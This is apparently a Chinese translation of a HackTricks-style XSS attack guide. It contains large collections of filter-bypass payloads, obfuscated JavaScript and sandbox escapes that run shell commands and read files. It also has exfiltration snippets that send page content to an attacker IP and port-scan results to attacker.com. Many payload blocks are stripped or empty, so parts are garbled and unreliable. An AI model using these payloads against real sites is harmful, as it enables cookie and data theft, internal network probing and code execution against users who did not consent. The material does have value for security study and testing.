# XSS(跨站脚本)
如果您对**黑客职业**感兴趣并想要黑掉无法黑掉的东西 - **我们正在招聘!**(需要流利的波兰语书面和口头表达能力)。 {% embed url="https://www.stmcyber.com/careers" %} ## 方法论 1. 检查您控制的**任何值**(_参数_,_路径_,_标头_?,_Cookie_?)是否在 HTML 中**反射**或被 **JS** 代码使用。 2. 找到它被反射/使用的**上下文**。 3. 如果**反射** 1. 检查您可以使用**哪些符号**,并根据此准备有效载荷: 1. 在**原始 HTML**中: 1. 您能创建新的 HTML 标签吗? 2. 您能使用支持 `javascript:` 协议的事件或属性吗? 3. 您能绕过保护措施吗? 4. HTML 内容是否由任何客户端 JS 引擎(_AngularJS_,_VueJS_,_Mavo_...)解释,您可以滥用[**客户端模板注入**](../client-side-template-injection-csti.md)。 5. 如果您无法创建执行 JS 代码的 HTML 标签,您能滥用[**悬挂标记 - HTML 无脚本注入**](../dangling-markup-html-scriptless-injection/)吗? 2. 在**HTML 标签**内: 1. 您能退出到原始 HTML 上下文吗? 2. 您能创建新的事件/属性来执行 JS 代码吗? 3. 您被困在的属性是否支持 JS 执行吗? 4. 您能绕过保护措施吗? 3. 在**JavaScript 代码**内: 1. 您能转义 ``** 标签之间,在一个 `.js` 文件内,或者在使用 **`javascript:`** 协议的属性内部: - 如果被反射在 **``** 标签之间,即使您的输入被放在任何引号内,您可以尝试注入 `` 并从这个上下文中逃脱。这是因为**浏览器首先解析 HTML 标签**,然后解析内容,因此,它不会注意到您注入的 `` 标签在 HTML 代码内部。 - 如果被反射在 **JS 字符串内部**,并且上一个技巧不起作用,您需要**退出**字符串,**执行**您的代码并**重构**JS代码(如果有任何错误,它不会被执行): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` - 如果被反射在模板文字内部,您可以使用 `${ ... }` 语法**嵌入 JS 表达式**:`` var greetings = `Hello, ${alert(1)}` `` - **Unicode 编码**可用于编写**有效的 JavaScript 代码**: ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` #### Javascript 提升 Javascript 提升指的是**在使用后声明函数、变量或类的机会,因此您可以利用 XSS 正在使用未声明的变量或函数的情况。**\ **查看以下页面获取更多信息:** {% content-ref url="js-hoisting.md" %} [js-hoisting.md](js-hoisting.md) {% endcontent-ref %} ### Javascript 函数 一些网页端点**接受函数名称作为参数来执行**。在实际中常见的示例是类似这样的:`?callback=callbackFunc`。 要找出用户直接提供的内容是否尝试执行,一个好方法是**修改参数值**(例如为'Vulnerable'),并在控制台中查看是否有错误,如: ![](<../../.gitbook/assets/image (708).png>) 如果存在漏洞,您可以通过发送值**`?callback=alert(1)`**来**触发警报**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。 然而,即使有这种限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符来**访问 DOM 中的任何元素**: ![](<../../.gitbook/assets/image (744).png>) 一些有用的函数包括: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` 您还可以尝试直接**触发Javascript函数**:`obj.sales.delOrders`。 然而,通常执行指定函数的端点是**没有太多有趣DOM**的端点,**同一源中的其他页面**将具有**更有趣的DOM**以执行更多操作。 因此,为了在不同DOM中**滥用此漏洞**,开发了**同源方法执行(SOME)**利用: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) {% endcontent-ref %} ### DOM 有一些**JS代码**正在**不安全地**使用一些**由攻击者控制的数据**,如`location.href`。攻击者可以利用这一点执行任意JS代码。 {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} ### **通用XSS** 这种类型的XSS可以在**任何地方**找到。它们不仅仅依赖于对Web应用程序的客户端利用,而是依赖于**任何** **上下文**。这种**任意JavaScript执行**甚至可以被滥用以获得**RCE**,在客户端和服务器上**读取** **任意** **文件**等。\ 一些**示例**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} {% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} [electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) {% endcontent-ref %} ## WAF绕过编码图像 ![来源 https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>) ## 在原始HTML中注入 当您的输入被反映在**HTML页面**中或者您可以转义并在此上下文中注入HTML代码时,**第一**件事是检查您是否可以滥用`<`来创建新标签:尝试**反映**该**字符**并检查它是否被**HTML编码**或**删除**,或者是否**未经更改地反映**。**只有在最后一种情况下,您才能利用这种情况**。\ 对于这些情况,还要**记住**[**客户端模板注入**](../client-side-template-injection-csti.md)**。**\ _**注意:HTML注释可以使用**** ****`-->`**** ****或**** ****`--!>`**_ 在这种情况下,如果没有使用黑名单/白名单,您可以使用如下有效负载: ```html ``` 但是,如果使用了标签/属性的黑名单/白名单,您将需要**暴力破解可以创建的标签**。\ 一旦您**找到了允许的标签**,您将需要**暴力破解找到的有效标签内的属性/事件**,以查看如何攻击上下文。 ### 标签/事件的暴力破解 前往[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)并单击_**将标签复制到剪贴板**_。然后,使用Burp Intruder发送所有标签,并检查WAF是否未将任何标签识别为恶意。一旦您发现可以使用哪些标签,您可以使用有效标签**暴力破解所有事件**(在同一网页上单击_**将事件复制到剪贴板**_,然后按照之前的相同步骤操作)。 ### 自定义标签 如果您找不到任何有效的HTML标签,您可以尝试**创建自定义标签**并使用`onfocus`属性执行JS代码。在XSS请求中,您需要以`#`结束URL,使页面**聚焦在该对象上**并**执行**代码: ``` /?search=#x ``` ### 黑名单绕过 如果使用了某种黑名单,您可以尝试使用一些愚蠢的技巧来绕过它: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` 请注意,如果您尝试以任何顺序使用`URLencode + HTMLencode`来编码**payload**,它**不会**起作用,但您可以在**payload**中**混合使用它们**。 **使用十六进制和八进制编码与`javascript:`** 您可以在`iframe`的`src`属性中(至少)使用**十六进制**和**八进制编码**来声明**执行JS的HTML标签**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### 反向标签窃取 ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### 在“无法利用的标签”中的 XSS(隐藏输入、链接、规范、元标记) 从[**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以滥用隐藏输入,包括:** ```html
Newsletter popup
``` 从[**这里**](https://portswigger.net/research/xss-in-hidden-input-fields):您可以在隐藏属性中执行**XSS有效负载**,只要您能**说服** **受害者**按下**键组合**。在Firefox Windows/Linux上,键组合是**ALT+SHIFT+X**,在OS X上是**CTRL+ALT+X**。您可以使用访问键属性中的不同键指定不同的键组合。以下是向量: ```markup ``` **XSS负载将类似于这样:`" accesskey="x" onclick="alert(1)" x="`** ### 黑名单绕过 在本节中已经揭示了使用不同编码的几种技巧。回到学习以下内容: * **HTML编码(HTML标记)** * **Unicode编码(可以是有效的JS代码):** `\u0061lert(1)` * **URL编码** * **十六进制和八进制编码** * **数据编码** **用于HTML标记和属性的绕过** 阅读[上一节的黑名单绕过](./#blacklist-bypasses)。 **用于JavaScript代码的绕过** 阅读下一节的[JavaScript绕过黑名单技术](./#javascript-bypass-blacklists-techniques)。 ### CSS小工具 如果在网页的一个非常小的部分中发现了XSS(可能是页脚中的一个小链接,带有onmouseover元素),您可以尝试**修改该元素占用的空间**,以最大化链接被触发的可能性。 例如,您可以在元素中添加一些样式,如:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` 但是,如果WAF正在过滤style属性,您可以使用CSS样式小工具,例如,如果您找到了 > .test {display:block; color: blue; width: 100%\} 和 > \#someid {top: 0; font-family: Tahoma;} 现在您可以修改我们的链接,将其改为 > \ 这个技巧取自[https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## 在JavaScript代码中注入 在这些情况下,您的**输入**将被**反射到`.js`文件或``标记之间的JS代码中,或者在可以执行JS代码的HTML事件之间,或者在接受`javascript:`协议的属性之间。 ### 转义\`中,您可以轻松地**转义关闭` ``` 注意,在这个例子中,我们甚至**还没有关闭单引号**。这是因为**浏览器首先执行HTML解析**,这涉及识别页面元素,包括脚本块。对于理解和执行嵌入式脚本的JavaScript的解析是在此之后才进行的。 ### 在JS代码内部 如果`<>`被消毒,您仍然可以**转义字符串**,在您的输入位置**执行任意JS**。重要的是**修复JS语法**,因为如果有任何错误,JS代码将不会被执行: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### 模板文字 \`\` 为了构建**字符串**,除了单引号和双引号外,JS还接受**反引号** **` `` `**。这被称为模板文字,因为它们允许使用`${ ... }`语法**嵌入JS表达式**。\ 因此,如果您发现您的输入被**反射**到使用反引号的JS字符串中,您可以滥用`${ ... }`语法来执行**任意JS代码**: 这可以通过以下方式**滥用**: ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` ``` ```````````````javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop(){return loop} loop`````````````` ``````````````` ### 编码代码执行 ```markup ``` **注释中的Javascript** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **没有括号的JavaScript** ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **调用任意函数(alert)** ````javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ```` ## **DOM漏洞** 存在使用由攻击者控制的不安全数据的**JS代码**,如`location.href`。攻击者可以利用这一点执行任意JS代码。\ 由于对**DOM漏洞的解释进行了扩展**,[**已将其移至此页面**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} 在那里,您将找到关于DOM漏洞是什么,它们是如何引发的以及如何利用它们的详细**解释**。\ 此外,不要忘记**在上述帖子的末尾**可以找到有关[**DOM篡改攻击**](dom-xss.md#dom-clobbering)的解释。 ## 其他绕过方式 ### 规范化的Unicode 您可以检查**反射值**是否在服务器(或客户端)中进行了**Unicode规范化**,并利用此功能绕过保护。[**在此处找到一个示例**](../unicode-injection/#xss-cross-site-scripting)。 ### PHP FILTER\_VALIDATE\_EMAIL标志绕过 ```javascript ">"@x.y ``` ### Ruby-On-Rails绕过 由于**RoR大量分配**,引号被插入HTML,然后绕过引号限制,可以在标签内添加额外字段(onfocus)。\ 表单示例([来自此报告](https://hackerone.com/reports/709336)),如果发送有效载荷: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` 配对 "Key","Value" 将会被回显如下: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` ### 特殊组合 然后,将插入onfocus属性,从而发生XSS。 ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### 在 302 响应中进行头部注入的 XSS 如果您发现可以在 302 重定向响应中**注入头部**,您可以尝试**让浏览器执行任意 JavaScript**。这并不是**简单的**,因为现代浏览器在 HTTP 响应状态码为 302 时不会解释 HTTP 响应主体,因此仅跨站脚本有效负载是无效的。 在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这篇文章**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中,您可以了解如何测试 Location 头中的多个协议,并查看是否有任何协议允许浏览器检查和执行主体内的 XSS 负载。\ 已知的协议包括:`mailto://`、`//x:1/`、`ws://`、`wss://`、_空 Location 头_、`resource://`。 ### 仅限字母、数字和点号 如果您能指示**回调**将要**执行**的 JavaScript 仅限于这些字符。[**阅读本文的此部分**](./#javascript-function)以了解如何滥用这种行为。 ### 有效的 ` ``` 答案是: * **module**(默认,无需解释) * [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能,您可以将一堆数据(HTML、CSS、JS 等)打包到一个 **`.wbn`** 文件中。 ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` * [**importmap**](https://github.com/WICG/import-maps)**:** 允许改进导入语法 ```html ``` 这种行为被用于[**这篇解决方案**](https://github.com/zwade/yaca/tree/master/solution)中,将一个库重新映射到eval上,以滥用它来触发XSS。 * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 这个功能主要是为了解决预渲染造成的一些问题。它的工作原理如下: ```html ``` ### 用于 XSS 的 Web 内容类型 (来源[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 以下内容类型可以在所有浏览器中执行 XSS: * text/html * application/xhtml+xml * application/xml * text/xml * image/svg+xml * text/plain (?? 不在列表中,但我记得在一个 CTF 中看到过) * application/rss+xml (关闭) * application/atom+xml (关闭) 在其他浏览器中,其他 **`Content-Types`** 可用于执行任意 JS,请查看:[https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml 内容类型 如果页面返回 text/xml 内容类型,则可以指定一个命名空间并执行任意 JS: ```xml hello ``` ### 特殊替换模式 当类似 **`"some {{template}} data".replace("{{template}}", )`** 这样的代码被使用时,攻击者可以使用[**特殊字符串替换**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement)来尝试绕过某些保护措施:``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` 例如,在[**这篇文章**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)中,这种方法被用来**转义脚本中的 JSON 字符串**并执行任意代码。 ### Chrome缓存到XSS {% content-ref url="chrome-cache-to-xss.md" %} [chrome-cache-to-xss.md](chrome-cache-to-xss.md) {% endcontent-ref %} ### XS Jails逃逸 如果你只能使用有限的字符集,可以查看这些其他有效的 XSJail 问题解决方案: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` 如果在执行不受信任的代码之前**一切都是未定义的**(就像在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)中所述),可以使用以下方法生成有用的对象,从而滥用执行任意不受信任代码的过程: * 使用 import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` * 间接访问 `require` [根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 在 Node.js 中,模块被包裹在一个函数内,就像这样: ```javascript (function (exports, require, module, __filename, __dirname) { // our actual module code }); ``` 因此,如果我们可以从该模块**调用另一个函数**,就可以在该函数中使用`arguments.callee.caller.arguments[1]`来访问**`require`**: ```javascript (function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})() ``` 以类似的方式,可以使用错误处理程序来访问模块的包装器并获取 `require` 函数: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = ''.constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log('='.repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req('child_process').execSync('id').toString()) } } } trigger() ``` ### 混淆和高级绕过 - **同一页面中的不同混淆:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) - 更复杂的JSFuck:[https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## XSS常见有效载荷 ### 多个有效载荷合集 {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} ### 检索Cookies ```javascript /?c="+document.cookie> ``` {% hint style="info" %} 如果 cookie 中设置了 HTTPOnly 标志,您将**无法从 JavaScript 中访问 cookie**。但是,如果您足够幸运,在这里有[一些绕过此保护的方法](../hacking-with-cookies/#httponly)。 {% endhint %} ### 窃取页面内容 ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open('GET', url, true); xhr.send(null); ``` ### 查找内部IP地址 ```html ``` ### 端口扫描器 (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### 端口扫描器(Websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### 自动填充密码捕获 ```javascript Username:
Password:
